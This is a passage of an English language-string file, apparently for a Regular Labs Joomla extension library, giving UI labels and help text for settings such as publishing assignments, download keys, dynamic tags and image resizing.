RL_AFTER_NOW="After NOW"
RL_AKEEBASUBS="Akeeba Subscriptions"
RL_ALL="ALL"
RL_ALL_DESC="Will be published if <strong>ALL</strong> of below assignments are matched."
RL_ALL_RIGHTS_RESERVED="All Rights Reserved"
RL_ALSO_ON_CHILD_ITEMS="Also on child items"
RL_ALSO_ON_CHILD_ITEMS_DESC="Also assign to child items of the selected items?"
RL_ALSO_ON_CHILD_ITEMS_MENUITEMS_DESC="The child items refer to actual sub-items in the above selection. They do not refer to links on selected pages."
RL_ANY="ANY"
RL_ANY_DESC="Will be published if <strong>ANY</strong> (one or more) of below assignments are matched.<br>Assignment groups where 'Ignore' is selected will be ignored."
RL_ARE_YOU_SURE="Are you sure?"
RL_ARTICLE="Article"
RL_ARTICLE_AUTHORS="Authors"
RL_ARTICLE_AUTHORS_DESC="Select the authors to assign to."
RL_ARTICLES="Articles"
RL_ARTICLES_DESC="Select the articles to assign to."
RL_AS_EXPORTED="As exported"
RL_ASSIGNMENTS="Assignments"
RL_ASSIGNMENTS_DESC="By selecting the specific assignments you can limit where this %s should or shouldn't be published.<br>To have it published on all pages, simply do not specify any assignments."
RL_AUSTRALIA="Australia"
RL_AUTHORS="Authors"
RL_AUTO="Auto"
RL_AUTOMATIC="Automatic"
RL_BEFORE="Before"
RL_BEFORE_NOW="Before NOW"
RL_BEGINS_WITH="Begins with"
RL_BEHAVIOR="Behaviour"
RL_BEHAVIOUR="Behaviour"
RL_BETWEEN="Between"
RL_BOOTSTRAP="Bootstrap"
RL_BOOTSTRAP_FRAMEWORK_DISABLED="You have disabled the Bootstrap Framework to be initiated. %s needs the Bootstrap Framework to function. Make sure your template or other extensions load the necessary scripts to replace the required functionality."
RL_BOTH="Both"
RL_BOTTOM="Bottom"
RL_BOTTOM_LEFT="Bottom Left"
RL_BOTTOM_RIGHT="Bottom Right"
RL_BROWSERS="Browsers"
RL_BROWSERS_DESC="Select the browsers to assign to. Keep in mind that browser detection is not always 100&#37; accurate. Users can setup their browser to mimic other browsers"
RL_BUTTON_ICON="Button Icon"
RL_BUTTON_ICON_DESC="Select which icon to show in the button."
RL_BUTTON_TEXT="Button Text"
RL_BUTTON_TEXT_DESC="Set the text to show in the button. You can use a language string."
RL_CACHE_TIME="Cache Time"
RL_CACHE_TIME_DESC="The maximum length of time in minutes for a cache file to be stored before it is refreshed. Leave empty to use the global setting."
RL_CASE_SENSITIVE="Case Sensitive"
RL_CATEGORIES="Categories"
RL_CATEGORIES_DESC="Select the categories to assign to."
RL_CATEGORY="Category"
RL_CENTER="Center"
RL_CHANGELOG="Changelog"
RL_CHARACTERS="Characters"
RL_CLASSNAME="CSS Class"
RL_COLLAPSE="Collapse"
RL_COLOR="Colour"
RL_COLORS="Colours"
RL_COLORS_DESC="A comma separated list of RGB colours to show in the colour picker."
RL_COM="Component"
RL_COMBINE_ADMIN_MENU="Combine Admin Menu"
RL_COMBINE_ADMIN_MENU_DESC="Select to combine all Regular Labs - components into a submenu in the administrator menu."
RL_COMPARISON="Comparison"
RL_COMPONENTS="Components"
RL_COMPONENTS_DESC="Select the components to assign to."
RL_CONDITIONS="Conditions"
RL_CONTAINS="Contains"
RL_CONTAINS_ONE="Contains one of"
RL_CONTENT="Content"
RL_CONTENT_KEYWORDS="Content Keywords"
RL_CONTENT_KEYWORDS_DESC="Enter the keywords found in the content to assign to. Use commas to separate the keywords."
RL_CONTINENTS="Continents"
RL_CONTINENTS_DESC="Select the continents to assign to."
RL_COOKIECONFIRM="Cookie Confirm"
RL_COOKIECONFIRM_COOKIES="Cookies allowed"
RL_COOKIECONFIRM_COOKIES_DESC="Assign to whether cookies are allowed or disallowed, based on the configuration of Cookie Confirm (by Twentronix) and the visitor's choice to accept or decline cookies."
RL_COPY_OF="Copy of %s"
RL_COPYRIGHT="Copyright"
RL_COUNTRIES="Countries"
RL_COUNTRIES_DESC="Select the countries to assign to."
RL_CSS_CLASS="Class (CSS)"
RL_CSS_CLASS_DESC="Define a css class name for styling purposes."
RL_CURRENT="Current"
RL_CURRENT_DATE="Current date/time: <strong>%s</strong>"
RL_CURRENT_USER="Current User"
RL_CURRENT_VERSION="Your current version is %s"
RL_CUSTOM="Custom"
RL_CUSTOM_CODE="Custom Code"
RL_CUSTOM_CODE_DESC="Enter the code the Editor Button should insert into the content (instead of the default code)."
RL_CUSTOM_FIELD="Custom Field"
RL_CUSTOM_FIELDS="Custom Fields"
RL_CUSTOM_FORMAT="Custom Format"
RL_DATE="Date"
RL_DATE_DESC="Select the type of date comparison to assign by."
RL_DATE_FROM="From"
RL_DATE_RECURRING="Recurring"
RL_DATE_RECURRING_DESC="Select to apply date range every year. (So the year in the selection will be ignored)"
RL_DATE_TIME="Date & Time"
RL_DATE_TIME_DESC="The date and time assignments use the date/time of your servers, not that of the visitors system."
RL_DATE_TO="To"
RL_DAYS="Days of the week"
RL_DAYS_DESC="Select days of the week to assign to."
RL_DEFAULT_ORDERING="Default Ordering"
RL_DEFAULT_ORDERING_DESC="Set the default ordering of the list items"
RL_DEFAULT_SETTINGS="Default Settings"
RL_DEFAULTS="Defaults"
RL_DEVICE_DESKTOP="Desktop"
RL_DEVICE_MOBILE="Mobile"
RL_DEVICE_TABLET="Tablet"
RL_DEVICES="Devices"
RL_DEVICES_DESC="Select the devices to assign to. Keep in mind that device detection is not always 100&#37; accurate. Users can setup their device to mimic other devices"
RL_DIRECTION="Direction"
RL_DIRECTION_DESC="Select the direction"
RL_DISABLE_ON_ADMIN_COMPONENTS_DESC="Select in which administrator components NOT to enable the use of this extension."
RL_DISABLE_ON_ALL_COMPONENTS_DESC="Select in which components NOT to enable the use of this extension."
RL_DISABLE_ON_COMPONENTS="Disable on Components"
RL_DISABLE_ON_COMPONENTS_DESC="Select in which frontend components NOT to enable the use of this extension."
RL_DISPLAY_EDITOR_BUTTON="Display Editor Button"
RL_DISPLAY_EDITOR_BUTTON_DESC="Select to display an editor button."
RL_DISPLAY_LINK="Display link"
RL_DISPLAY_LINK_DESC="How do you want the link to be displayed?"
RL_DISPLAY_STATUSBAR_BUTTON="Display Status bar Button"
RL_DISPLAY_STATUSBAR_BUTTON_DESC="Select to show a button in the status bar."
RL_DISPLAY_TOOLBAR_BUTTON="Display Toolbar Button"
RL_DISPLAY_TOOLBAR_BUTTON_DESC="Select to show a button in the toolbar."
RL_DISPLAY_TOOLBAR_BUTTONS="Display Toolbar Buttons"
RL_DISPLAY_TOOLBAR_BUTTONS_DESC="Select to show button(s) in the toolbar."
RL_DISPLAY_TOOLTIP="Display Tooltip"
RL_DISPLAY_TOOLTIP_DESC="Select to display a tooltip with extra info when mouse hovers over link/icon."
RL_DOWNLOAD_KEY="Download Key"
RL_DOWNLOAD_KEY_DESC="Please enter your Download Key from the Regular Labs website here. You can find your Download Key under Downloads on the Regular Labs website after logging in."
RL_DOWNLOAD_KEY_ENTER="Please enter your Regular Labs Download Key"
RL_DOWNLOAD_KEY_ERROR_EMPTY="You have not entered your Download Key yet.<br>Without the Download Key, you will not be able to update when new versions of [[%1:extension%]] (Pro versions) are released.<br>You can find your Download Key under [[%2:start link%]]Download Keys[[%3:end link%]] on the Regular Labs website after logging in."
RL_DOWNLOAD_KEY_ERROR_EXPIRED="Your subscription seems to have expired.<br>This means you will not be able to update to newer versions.<br>Please consider [[%1:start link%]]renewing your subscription[[%2:end link%]]."
RL_DOWNLOAD_KEY_ERROR_EXTERNAL="There was an issue trying to check the validity of your Download Key.<br>Try again later.<br>Otherwise contact the [[%1:start link%]]Regular Labs support[[%2:end link%]]."
RL_DOWNLOAD_KEY_ERROR_INVALID="Your Download Key seems to be invalid.<br>You can find your Download Key under [[%1:start link%]]Download Keys[[%2:end link%]] on the Regular Labs website after logging in."
RL_DOWNLOAD_KEY_ERROR_LOCAL="There was an issue trying to find a Download Key on your setup.<br>Try reinstalling the extension."
RL_DYNAMIC_TAG_ARTICLE_ID="The id number of the current article."
RL_DYNAMIC_TAG_ARTICLE_OTHER="Any other available data from the current article."
RL_DYNAMIC_TAG_ARTICLE_TITLE="The title of the current article."
RL_DYNAMIC_TAG_COUNTER="This places the number of the occurrence.<br>If your search is found, say, 4 times, the count will show respectively 1 to 4."
RL_DYNAMIC_TAG_DATE="Date using [[%1:start link%]]php strftime() format[[%2:end link%]]. Example: [[%3:example%]]"
RL_DYNAMIC_TAG_ESCAPE="Use to escape dynamic values (add slashes to quotes)."
RL_DYNAMIC_TAG_LOWERCASE="Convert text within tags to lowercase."
RL_DYNAMIC_TAG_NOTAGS="Remove html tags from the text within tags."
RL_DYNAMIC_TAG_NOWHITESPACE="Remove html tags and whitespace from the text within tags."
RL_DYNAMIC_TAG_RANDOM="A random number within the given range"
RL_DYNAMIC_TAG_RANDOM_LIST="A random value from a list of strings, numbers or ranges"
RL_DYNAMIC_TAG_REPLACE="Replace strings inside the text within tags"
RL_DYNAMIC_TAG_STRING_EXAMPLE="&quot;It's a <strong><u>string</u></strong>!&quot;"
RL_DYNAMIC_TAG_TEXT="A language string to translate into text (based on the active language)"
RL_DYNAMIC_TAG_TOALIAS="Convert text within tags to an alias (lowercase dash separated string)."
RL_DYNAMIC_TAG_UPPERCASE="Convert text within tags to uppercase."
RL_DYNAMIC_TAG_USER_ID="The id number of the user"
RL_DYNAMIC_TAG_USER_NAME="The name of the user"
RL_DYNAMIC_TAG_USER_OTHER="Any other available data from the user or the connected contact. Example: [[user:misc]]"
RL_DYNAMIC_TAG_USER_TAG_DESC="The user tag places data from the logged in user. If the visitor is not logged in, the tag will be removed."
RL_DYNAMIC_TAG_USER_USERNAME="The login name of the user"
RL_DYNAMIC_TAGS="Dynamic Tags"
RL_EASYBLOG="EasyBlog"
RL_EDITOR_BUTTON_TEXT_DESC="This text will be shown in the Editor Button."
RL_EMPTY_FOR_AUTOMATIC_SIZING="Leave empty to use automatic sizing."
RL_EMPTY_FOR_DEFAULT="Leave empty to use the default setting."
RL_ENABLE="Enable"
RL_ENABLE_ACTIONLOG="Log User Actions"
RL_ENABLE_ACTIONLOG_DESC="Select to store User Actions. These actions will be visible in the User Actions Log module."
RL_ENABLE_IN="Enable in"
RL_ENABLE_IN_ADMIN="Enable in administrator"
RL_ENABLE_IN_ADMIN_DESC="If enabled, the plugin will also work in the administrator side of the website.<br><br>Normally you will not need this. And it can cause unwanted effects, like slowing down the administrator and the plugin tags being handled in areas you don't want it."
RL_ENABLE_IN_ARTICLES="Enable in articles"
RL_ENABLE_IN_COMPONENTS="Enable in components"
RL_ENABLE_IN_DESC="Select whether to enable in the frontend or administrator side or both."
RL_ENABLE_IN_FRONTEND="Enable in frontend"
RL_ENABLE_IN_FRONTEND_DESC="If enabled, it will also be available in the frontend."
RL_ENABLE_OTHER_AREAS="Enable other areas"
RL_ENABLE_PUBLISHING_ASSIGNMENTS="Here you can switch off any publishing assignments you do not want to use."
RL_ENABLED_IN_FRONTEND="Enabled in frontend"
RL_ENDS_WITH="Ends with"
RL_EQUALS="Equals"
RL_EXCLUDE="Exclude"
RL_EXPAND="Expand"
RL_EXPORT="Export"
RL_EXPORT_FORMAT="Export Format"
RL_EXPORT_FORMAT_DESC="Select the file format for the export files."
RL_EXTRA_PARAMETERS="Extra Parameters"
RL_EXTRA_PARAMETERS_DESC="Enter any extra parameters that cannot be set with the available settings"
RL_FALL="Fall / Autumn"
RL_FEATURED_DESC="Select to use the feature state in the assignment."
RL_FEATURES="Features"
RL_FIELD="Field"
RL_FIELD_CHECKBOXES="Checkboxes"
RL_FIELD_DROPDOWN="Dropdown"
RL_FIELD_MULTI_SELECT_STYLE="Multi-Select Style"
RL_FIELD_MULTI_SELECT_STYLE_DESC="Show the multi-select field as a standard dropdown field or an advanced field based on checkboxes."
RL_FIELD_NAME="Field Name"
RL_FIELD_PARAM_MULTIPLE="Multiple"
RL_FIELD_PARAM_MULTIPLE_DESC="Allow multiple values to be selected."
RL_FIELD_SELECT_STYLE="Multi-Select Style"
RL_FIELD_SELECT_STYLE_DESC="Show the multi-select field as a standard dropdown field or an advanced field based on checkboxes."
RL_FIELD_VALUE="Field Value"
RL_FIELDS_DESC="Select the field(s) you want to assign to and enter the desired value(s)."
RL_FILES_NOT_FOUND="Required %s files not found!"
RL_FILTERS="Filters"
RL_FINISH_PUBLISHING="Finish Publishing"
RL_FINISH_PUBLISHING_DESC="Enter the date to end publishing"
RL_FIX_HTML="Fix HTML"
RL_FIX_HTML_DESC="Select to let the extension fix any html structure issues it finds. This is often necessary to deal with surrounding html tags.<br><br>Only switch this off if you have issues with this."
RL_FLEXICONTENT="FLEXIcontent"
RL_FOR_MORE_GO_PRO="For more functionality you can purchase the PRO version."
RL_FORM2CONTENT="Form2Content"
RL_FRAMEWORK_NO_LONGER_USED="The Old NoNumber Framework does not seem to be used by any other extensions you have installed. It is probably safe to disable or uninstall this plugin."
RL_FROM_TO="From-To"
RL_FRONTEND="Frontend"
RL_GALLERY="Gallery"
RL_GEO="Geolocating"
RL_GEO_DESC="Geolocating is not always 100&#37; accurate. The geolocation is based on the IP address of the visitor. Not all IP addresses are fixed or known."
RL_GEO_GEOIP_COPYRIGHT_DESC="This product includes GeoLite2 data created by MaxMind, available from [[%1:link%]]"
RL_GEO_NO_GEOIP_LIBRARY="The Regular Labs GeoIP library is not installed. You need to [[%1:link start%]]install the Regular Labs GeoIP library[[%2:link end%]] to be able to use the Geolocating assignments."
RL_GO_PRO="Go Pro!"
RL_GREATER_THAN="Greater than"
RL_HANDLE_HTML_HEAD="Handle HTML Head"
RL_HANDLE_HTML_HEAD_DESC="Select to have the plugin also handle the HTML head section.<br><br>Please note that this can potentially cause unwanted html to be placed inside the HTML head tags and cause HTML syntax issues."
RL_HEADING_1="Heading 1"
RL_HEADING_2="Heading 2"
RL_HEADING_3="Heading 3"
RL_HEADING_4="Heading 4"
RL_HEADING_5="Heading 5"
RL_HEADING_6="Heading 6"
RL_HEADING_ACCESS_ASC="Access ascending"
RL_HEADING_ACCESS_DESC="Access descending"
RL_HEADING_ALIAS_ASC="Alias ascending"
RL_HEADING_ALIAS_DESC="Alias descending"
RL_HEADING_CATEGORY_ASC="Category ascending"
RL_HEADING_CATEGORY_DESC="Category descending"
RL_HEADING_CLIENTID_ASC="Location ascending"
RL_HEADING_CLIENTID_DESC="Location descending"
RL_HEADING_COLOR_ASC="Colour ascending"
RL_HEADING_COLOR_DESC="Colour descending"
RL_HEADING_DEFAULT_ASC="Default ascending"
RL_HEADING_DEFAULT_DESC="Default descending"
RL_HEADING_DESCRIPTION_ASC="Description ascending"
RL_HEADING_DESCRIPTION_DESC="Description descending"
RL_HEADING_ID_ASC="ID ascending"
RL_HEADING_ID_DESC="ID descending"
RL_HEADING_LANGUAGE_ASC="Language ascending"
RL_HEADING_LANGUAGE_DESC="Language descending"
RL_HEADING_ORDERING_ASC="Ordering ascending"
RL_HEADING_ORDERING_DESC="Ordering descending"
RL_HEADING_PAGES_ASC="Menu Items ascending"
RL_HEADING_PAGES_DESC="Menu Items descending"
RL_HEADING_POSITION_ASC="Position ascending"
RL_HEADING_POSITION_DESC="Position descending"
RL_HEADING_STATUS_ASC="Status ascending"
RL_HEADING_STATUS_DESC="Status descending"
RL_HEADING_STYLE_ASC="Style ascending"
RL_HEADING_STYLE_DESC="Style descending"
RL_HEADING_TEMPLATE_ASC="Template ascending"
RL_HEADING_TEMPLATE_DESC="Template descending"
RL_HEADING_TITLE_ASC="Title ascending"
RL_HEADING_TITLE_DESC="Title descending"
RL_HEADING_TYPE_ASC="Type ascending"
RL_HEADING_TYPE_DESC="Type descending"
RL_HEIGHT="Height"
RL_HEMISPHERE="Hemisphere"
RL_HEMISPHERE_DESC="Select the hemisphere your website is located in"
RL_HIGH="High"
RL_HIKASHOP="HikaShop"
RL_HOME_PAGE="Home Page"
RL_HOME_PAGE_DESC="Unlike selecting the home page (default) item via the Menu Items, this will only match the real home page, not any URL that has the same Itemid as the home menu item.<br><br>This might not work for all 3rd party SEF extensions."
RL_HTML_LINK="<a href=&quot;[[%2:url%]]&quot; target=&quot;_blank&quot; class=&quot;[[%3:class%]]&quot;>[[%1:text%]]</a>"
RL_HTML_TAGS="HTML Tags"
RL_ICON_ONLY="Icon only"
RL_IGNORE="Ignore"
RL_IMAGE="Image"
RL_IMAGE_ALT="Image Alt"
RL_IMAGE_ALT_DESC="The Alt value of the image."
RL_IMAGE_ATTRIBUTES="Image Attributes"
RL_IMAGE_ATTRIBUTES_DESC="The extra attributes of the image, like: alt=&quot;My image&quot; width=&quot;300&quot;"
RL_IMPORT="Import"
RL_IMPORT_ITEMS="Import Items"
RL_INCLUDE="Include"
RL_INCLUDE_CHILD_CATEGORIES="Include child categories"
RL_INCLUDE_CHILD_ITEMS="Include child items"
RL_INCLUDE_CHILD_ITEMS_DESC="Also include child items of the selected items?"
RL_INCLUDE_CHILD_TAGS="Include child tags"
RL_INCLUDE_NO_ITEMID="Include no Itemid"
RL_INCLUDE_NO_ITEMID_DESC="Also assign when no menu Itemid is set in URL?"
RL_INITIALISE_EVENT="Initialise on Event"
RL_INITIALISE_EVENT_DESC="Set the internal Joomla event on which the plugin should be initialised. Only change this if you experience issues with the plugin not working."
RL_INPUT_SYNTAX="Input Syntax"
RL_INPUT_TYPE="Input Type"
RL_INPUT_TYPE_ALNUM="A string containing A-Z or 0-9 only (not case sensitive)."
RL_INPUT_TYPE_ARRAY="An array."
RL_INPUT_TYPE_BOOLEAN="A boolean value."
RL_INPUT_TYPE_CMD="A string containing A-Z, 0-9, underscores, periods or hyphens (not case sensitive)."
RL_INPUT_TYPE_DESC="Select an input type:"
RL_INPUT_TYPE_FLOAT="A floating point number, or an array of floating point numbers."
RL_INPUT_TYPE_INT="An integer, or an array of integers."
RL_INPUT_TYPE_STRING="A fully decoded and sanitised string (default)."
RL_INPUT_TYPE_UINT="An unsigned integer, or an array of unsigned integers."
RL_INPUT_TYPE_WORD="A string containing A-Z or underscores only (not case sensitive)."
RL_INSERT="Insert"
RL_INSERT_DATE_NAME="Insert Date / Name"
RL_IP_RANGES="IP Addresses / Ranges"
RL_IP_RANGES_DESC="A comma and/or enter separated list of IP addresses and IP ranges. For instance:<br>127.0.0.1<br>128.0-128.1<br>129"
RL_IPS="IP Addresses"
RL_IS_FREE_VERSION="This is the FREE version of %s."
RL_ITEM="Item"
RL_ITEM_IDS="Item IDs"
RL_ITEM_IDS_DESC="Enter the item ids to assign to. Use commas to separate the ids."
RL_ITEMS="Items"
RL_ITEMS_DESC="Select the items to assign to."
RL_JCONTENT="Joomla! Content"
RL_JED_REVIEW="Like this extension? [[%1:start link%]]Leave a review at the JED[[%2:end link%]]"
RL_JQUERY_DISABLED="You have disabled the jQuery script. %s needs jQuery to function. Make sure your template or other extensions load the necessary scripts to replace the required functionality."
RL_K2="K2"
RL_K2_CATEGORIES="K2 Categories"
RL_KEEP_ORIGINAL_CATEGORY="Keep original Category"
RL_LANGUAGE="Language"
RL_LANGUAGE_DESC="Select the language to assign to."
RL_LANGUAGES="Languages"
RL_LANGUAGES_DESC="Select the languages to assign to."
RL_LAYOUT="Layout"
RL_LAYOUT_DESC="Select the layout to use. You can override this layout in the component or template."
RL_LEAVE_EMPTY_FOR_DEFAULT="Set to 0 or leave empty to use the default setting."
RL_LEFT="Left"
RL_LESS_THAN="Less than"
RL_LEVELS="Levels"
RL_LEVELS_DESC="Select the levels to assign to."
RL_LIB="Library"
RL_LINK_TEXT="Link Text"
RL_LINK_TEXT_DESC="The text to display as link."
RL_LIST="List"
RL_LOAD_BOOTSTRAP_FRAMEWORK="Load Bootstrap Framework"
RL_LOAD_BOOTSTRAP_FRAMEWORK_DESC="Disable to not initiate the Bootstrap Framework."
RL_LOAD_JQUERY="Load jQuery Script"
RL_LOAD_JQUERY_DESC="Select to load the core jQuery script. You can disable this if you experience conflicts if your template or other extensions load their own version of jQuery."
RL_LOAD_MOOTOOLS="Load Core MooTools"
RL_LOAD_MOOTOOLS_DESC="Select to load the core MooTools script. You can disable this if you experience conflicts if your template or other extensions load their own version of MooTools."
RL_LOAD_STYLESHEET="Load Stylesheet"
RL_LOAD_STYLESHEET_DESC="Select to load the extensions stylesheet. You can disable this if you place all your own styles in some other stylesheet, like the templates stylesheet."
RL_LOW="Low"
RL_LTR="Left-to-Right"
RL_MATCH_ALL="Match All"
RL_MATCH_ALL_DESC="Select to only let the assignment pass if all of the selected items are matched."
RL_MATCHING_METHOD="Matching Method"
RL_MATCHING_METHOD_DESC="Should all or any assignments be matched?<br><br><strong>[[%1:all%]]</strong><br>[[%2:all description%]]<br><br><strong>[[%3:any%]]</strong><br>[[%4:any description%]]"
RL_MAX_LIST_COUNT="Maximum List Count"
RL_MAX_LIST_COUNT_DESC="The maximum number of elements to show in the multi-select lists. If the total number of items is higher, the selection field will be displayed as a text field.<br><br>You can set this number lower if you experience long pageloads due to high number of items in lists."
RL_MAX_LIST_COUNT_INCREASE="Increase Maximum List Count"
RL_MAX_LIST_COUNT_INCREASE_DESC="There are more than [[%1:max%]] items.<br><br>To prevent slow pages this field is displayed as a textarea instead of a dynamic select list.<br><br>You can increase the '[[%2:max setting%]]' in the Regular Labs Library plugin settings."
RL_MAXIMIZE="Maximize"
RL_MEDIA_VERSIONING="Use Media Versioning"
RL_MEDIA_VERSIONING_DESC="Select to add the extension version number to the end of media (js/css) urls, to make browsers force load the correct file."
RL_MEDIUM="Medium"
RL_MENU_ITEMS="Menu Items"
RL_MENU_ITEMS_DESC="Select the menu items to assign to."
RL_META_KEYWORDS="Meta Keywords"
RL_META_KEYWORDS_DESC="Enter the keywords found in the meta keywords to assign to. Use commas to separate the keywords."
RL_MIJOSHOP="MijoShop"
RL_MINIMIZE="Minimize"
RL_MOBILE_BROWSERS="Mobile Browsers"
RL_MOD="Module"
RL_MODULE_HAS_BEEN_DISABLED="The [[%1:extension%]] module has been unpublished!"
RL_MONTHS="Months"
RL_MONTHS_DESC="Select months to assign to."
RL_MORE_INFO="More info"
RL_MORE_INFO_PHP_DATES="For more date formats, see <a href=&quot;[[%1:url%]]&quot; target=&quot;_blank&quot;>the PHP documentation</a>."
RL_MUST_CONTAIN="Must contain"
RL_MY_STRING="My string!"
RL_N_ITEMS_ARCHIVED="%s items archived."
RL_N_ITEMS_ARCHIVED_1="%s item archived."
RL_N_ITEMS_CHECKED_IN_0="No items checked in."
RL_N_ITEMS_CHECKED_IN_1="%d item checked in."
RL_N_ITEMS_CHECKED_IN_MORE="%d items checked in."
RL_N_ITEMS_DELETED="%s items deleted."
RL_N_ITEMS_DELETED_1="%s item deleted."
RL_N_ITEMS_FEATURED="%s items featured."
RL_N_ITEMS_FEATURED_1="%s item featured."
RL_N_ITEMS_PUBLISHED="%s items published."
RL_N_ITEMS_PUBLISHED_1="%s item published."
RL_N_ITEMS_TRASHED="%s items trashed."
RL_N_ITEMS_TRASHED_1="%s item trashed."
RL_N_ITEMS_UNFEATURED="%s items unfeatured."
RL_N_ITEMS_UNFEATURED_1="%s item unfeatured."
RL_N_ITEMS_UNPUBLISHED="%s items unpublished."
RL_N_ITEMS_UNPUBLISHED_1="%s item unpublished."
RL_N_ITEMS_UPDATED="%d items updated."
RL_N_ITEMS_UPDATED_1="One item has been updated"
RL_NEW_CATEGORY="Create New Category"
RL_NEW_CATEGORY_ENTER="Enter a new category name"
RL_NEW_VERSION_AVAILABLE="A new version is available"
RL_NEW_VERSION_OF_AVAILABLE="A new version of %s is available"
RL_NO_ICON="No icon"
RL_NO_ITEMS_FOUND="No items found."
RL_NORMAL="Normal"
RL_NORTHERN="Northern"
RL_NOT="Not"
RL_NOT_COMPATIBLE_WITH_JOOMLA_VERSION="Your installed version of [[%1:extension%]] is not compatible with Joomla [[%2:version%]].<br>Please check if there is a version of [[%1:extension%]] available for Joomla [[%2:version%]] and install that."
RL_NOT_CONTAINS="Does not contain"
RL_NOT_ENABLED_IN_FRONTEND="Not enable in frontend"
RL_NOT_EQUALS="Is not equal to"
RL_ONLY="Only"
RL_ONLY_AVAILABLE_IN_JOOMLA="Only available in Joomla %s or higher."
RL_ONLY_AVAILABLE_IN_PRO="<em>Only available in PRO version!</em>"
RL_ONLY_AVAILABLE_IN_PRO_LIST_OPTION="(Only available in PRO version)"
RL_ONLY_VISIBLE_TO_ADMIN="This message will only be displayed to (Super) Administrators."
RL_OPTION_SELECT="- Select -"
RL_OPTION_SELECT_CLIENT="- Select Client -"
RL_ORDER_DIRECTION_PRIMARY="Primary Order Direction"
RL_ORDER_DIRECTION_SECONDARY="Secondary Order Direction"
RL_ORDERING="Sort Order"
RL_ORDERING_PRIMARY="Primary Sort Order"
RL_ORDERING_SECONDARY="Secondary Sort Order"
RL_OS="Operating Systems"
RL_OS_DESC="Select the operating systems to assign to. Keep in mind that operating system detection is not always 100&#37; accurate. Users can setup their browser to mimic other operating systems."
RL_OTHER="Other"
RL_OTHER_AREAS="Other Areas"
RL_OTHER_OPTIONS="Other Options"
RL_OTHER_SETTINGS="Other Settings"
RL_OTHERS="Others"
RL_OUTPUT_EXAMPLE="Output Example"
RL_PAGE_TYPES="Page types"
RL_PAGE_TYPES_DESC="Select on what page types the assignment should be active."
RL_PARAGRAPHS="Paragraphs"
RL_PHP="Custom PHP"
RL_PHP_DESC="Enter a piece of PHP code to evaluate. The code must return the value true or false.<br><br>For instance:<br><br>[[%1:code%]]"
RL_PLACE_HTML_COMMENTS="Place HTML comments"
RL_PLACE_HTML_COMMENTS_DESC="By default HTML comments are placed around the output of this extension.<br><br>These comments can help you troubleshoot when you don't get the output you expect.<br><br>If you prefer to not have these comments in your HTML output, turn this option off."
RL_PLEASE_WAIT="Please wait..."
RL_PLG_ACTIONLOG="Action Log Plugin"
RL_PLG_EDITORS-XTD="Editor Button Plugin"
RL_PLG_FIELDS="Field Plugin"
RL_PLG_SYSTEM="System Plugin"
RL_PLUGIN_HAS_BEEN_DISABLED="The [[%1:extension%]] plugin has been disabled!"
RL_POSTALCODES="Postal Codes"
RL_POSTALCODES_DESC="A comma separated list of postal codes (12345) or postal code ranges (12300-12500).<br>This can only be used for [[%1:start link%]]a limited number of countries and IP addresses[[%2:end link%]]."
RL_POWERED_BY="Powered by %s"
RL_PRODUCTS="Products"
RL_PUBLISHED_DESC="You can use this to (temporarily) disable this item."
RL_PUBLISHING_ASSIGNMENTS="Publishing Assignments"
RL_PUBLISHING_SETTINGS="Publish items"
RL_RANDOM="Random"
RL_REDSHOP="RedShop"
RL_REGEX="Regular Expressions"
RL_REGIONS="Regions / States"
RL_REGIONS_DESC="Select the regions / states to assign to."
RL_REGULAR_EXPRESSIONS="Use Regular Expressions"
RL_REGULAR_EXPRESSIONS_DESC="Select to treat the value as regular expressions."
RL_REGULAR_LABS_DOWNLOAD_KEY="Regular Labs Download Key"
RL_REGULAR_LABS_EXTENSIONS="Regular Labs extensions"
RL_REMOVE_IN_DISABLED_COMPONENTS="Remove in Disabled Components"
RL_REMOVE_IN_DISABLED_COMPONENTS_DESC="If selected, the plugin syntax will get removed from the component. If not, the original plugins syntax will remain intact."
RL_RESIZE_IMAGES="Resize Images"
RL_RESIZE_IMAGES_CROP="Crop"
RL_RESIZE_IMAGES_CROP_DESC="The resized image will always have the set width and height."
RL_RESIZE_IMAGES_DESC="If selected, resized images will be automatically created for images if they do not exist yet. The resized images will be created using below settings."
RL_RESIZE_IMAGES_FILETYPES="Only on Filetypes"
RL_RESIZE_IMAGES_FILETYPES_DESC="Select the filetypes to do resizing on."
RL_RESIZE_IMAGES_FOLDER="Folder"
RL_RESIZE_IMAGES_FOLDER_DESC="The folder containing the resized images. This will be a subfolder of the folder containing your original images."
RL_RESIZE_IMAGES_HEIGHT_DESC="Set the height of the resized image in pixels (ie 180)."
RL_RESIZE_IMAGES_MAX_AGE="Max Age"
RL_RESIZE_IMAGES_MAX_AGE_DESC="The maximum age of the resized image in days. If the resized image is older than this, it will be recreated.<br>Set to 0 to never recreate the resized image if they already exist."
RL_RESIZE_IMAGES_NO_HEIGHT_DESC="The Height will be calculated based on the Width defined above and the aspect ratio of the original image."
RL_RESIZE_IMAGES_NO_WIDTH_DESC="The Width will be calculated based on the Height defined below and the aspect ratio of the original image."
RL_RESIZE_IMAGES_QUALITY="JPG Quality"
RL_RESIZE_IMAGES_QUALITY_DESC="The quality of the resized images. Choose from Low, Medium or High. The higher the quality, the larger the resulting files.<br>This only affects jpeg images."
RL_RESIZE_IMAGES_RETINA_PIXEL_DENSITY="Retina Pixel Density"
RL_RESIZE_IMAGES_RETINA_PIXEL_DENSITY_DESC="The pixel density of retina displays. This is the density at which the double sized retina image is used."
RL_RESIZE_IMAGES_SCALE="Scale"
RL_RESIZE_IMAGES_SCALE_DESC="The resized image will be resized to the maximum width or height maintaining its aspect ratio."
RL_RESIZE_IMAGES_SCALE_USING="Scale using fixed..."
RL_RESIZE_IMAGES_SCALE_USING_DESC="Select whether to resize images using the maximum width or height. The other dimension will be calculated based on the aspect ratio of the original image."
RL_RESIZE_IMAGES_TYPE="Resize Method"
RL_RESIZE_IMAGES_TYPE_DESC="Set the type of resizing."
RL_RESIZE_IMAGES_USE_RETINA="Use Retina Images"
RL_RESIZE_IMAGES_USE_RETINA_DESC="If selected, double size images will be created and used for retina displays."
RL_RESIZE_IMAGES_USE_WIDTH_OR_HEIGHT="Set"
RL_RESIZE_IMAGES_USE_WIDTH_OR_HEIGHT_DESC="Select whether to resize images using the maximum width or height."
RL_RESIZE_IMAGES_WIDTH_DESC="Set the width of the resized image in pixels (ie 320)."
RL_RESIZE_SETTINGS="Resize Settings"
RL_RIGHT="Right"
RL_RTL="Right-to-Left"
RL_SAVE_CONFIG="After saving the Options it will not pop up on page load anymore."
RL_SCROLL="Scroll"
RL_SEASONS="Seasons"
RL_SEASONS_DESC="Select seasons to assign to."
RL_SELECT="Select"
